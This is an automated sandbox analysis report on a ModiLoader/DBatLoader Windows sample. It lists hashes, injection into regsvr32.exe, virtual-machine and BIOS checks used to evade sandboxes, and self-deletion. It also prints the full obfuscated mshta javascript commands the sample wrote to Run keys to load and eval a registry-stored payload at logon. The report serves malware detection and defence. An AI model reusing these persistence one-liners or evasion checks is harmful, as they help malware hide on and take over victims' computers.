Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
31/08/2024, 14:34
Static task
static1
Behavioral task
behavioral1
Sample
ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe
-
Size
566KB
-
MD5
ccfcc7f5e81fcbd91154fbe8b619b4bc
-
SHA1
a66af74229ee94cc21a0e41da34a62bac56403f1
-
SHA256
76d567e13a7cb9d97682944975accbeb0c4f3f6858ab84f64af849c4d5df25bb
-
SHA512
f9448886b119c179e89ac852578bc8c4fcb47093416392fce28f0032d0d4b34c33a98d89d964a424b62a9119c7c8d12fa37f53b4daef64bfb5c3d904bf7e3d18
-
SSDEEP
12288:WWTb+eCPaQnpt3SV7gO1Q6NIm5OgpiKMCIwLnw8SmU+ICD9r:WWT4PayptiVMO1ZNiWnw8D1r
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 38 IoCs
resource yara_rule behavioral1/memory/1932-7-0x0000000000400000-0x0000000000491000-memory.dmp modiloader_stage2 behavioral1/memory/1932-9-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1932-12-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1932-13-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1932-10-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1932-11-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1932-14-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1932-21-0x0000000000400000-0x0000000000491000-memory.dmp modiloader_stage2 behavioral1/memory/2840-24-0x00000000001F0000-0x00000000002B4000-memory.dmp modiloader_stage2 behavioral1/memory/2840-28-0x00000000001F0000-0x00000000002B4000-memory.dmp modiloader_stage2 behavioral1/memory/2840-27-0x00000000001F0000-0x00000000002B4000-memory.dmp modiloader_stage2 behavioral1/memory/2840-26-0x00000000001F0000-0x00000000002B4000-memory.dmp modiloader_stage2 behavioral1/memory/2840-25-0x00000000001F0000-0x00000000002B4000-memory.dmp modiloader_stage2 behavioral1/memory/2840-30-0x00000000001F0000-0x00000000002B4000-memory.dmp modiloader_stage2 behavioral1/memory/2816-44-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-43-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-42-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-41-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-40-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-39-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-47-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-46-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-45-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-48-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2120-53-0x00000000001E0000-0x00000000002A4000-memory.dmp modiloader_stage2 behavioral1/memory/2120-56-0x00000000001E0000-0x00000000002A4000-memory.dmp modiloader_stage2 behavioral1/memory/2120-57-0x00000000001E0000-0x00000000002A4000-memory.dmp modiloader_stage2 behavioral1/memory/2120-55-0x00000000001E0000-0x00000000002A4000-memory.dmp modiloader_stage2 behavioral1/memory/2120-54-0x00000000001E0000-0x00000000002A4000-memory.dmp modiloader_stage2 behavioral1/memory/2120-52-0x00000000001E0000-0x00000000002A4000-memory.dmp modiloader_stage2 behavioral1/memory/2816-58-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2816-59-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/2272-63-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/2272-67-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/2272-65-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/2272-64-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/2272-66-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/2272-68-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:mm2hoW1Wbo=\"01Ed6hJ\";R9z=new%20ActiveXObject(\"WScript.Shell\");QPcfO1d=\"xxyE9Ijr4\";S5MDb=R9z.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\6185093333\\\\36805730\");QLo3jjS=\"3hm9\";eval(S5MDb);fpgmxu9E=\"ETGfBUVZP\";" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 2816 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ePjpNgq7=\"tTxQwCUlSN\";y1b=new%20ActiveXObject(\"WScript.Shell\");TO41lxnc=\"M\";YzXO39=y1b.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\6185093333\\\\36805730\");w2q2EIWhX=\"SHqTZXuv7M\";eval(YzXO39);usSM3WW=\"8T3\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:GV1R8Jdto=\"v\";L4F=new%20ActiveXObject(\"WScript.Shell\");CZXBAcnE0=\"SeQvQ9A6I\";gf6BN=L4F.RegRead(\"HKCU\\\\software\\\\6185093333\\\\36805730\");TC4ofQiZC=\"A\";eval(gf6BN);yotsk9tHa=\"ezBUys0j6\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe 2816 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 1932 wrote to memory of 2840 1932 ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe 30 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2840 wrote to memory of 2816 2840 regsvr32.exe 31 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2120 2816 regsvr32.exe 32 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33 PID 2816 wrote to memory of 2272 2816 regsvr32.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\ccfcc7f5e81fcbd91154fbe8b619b4bc_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2120
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2272
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2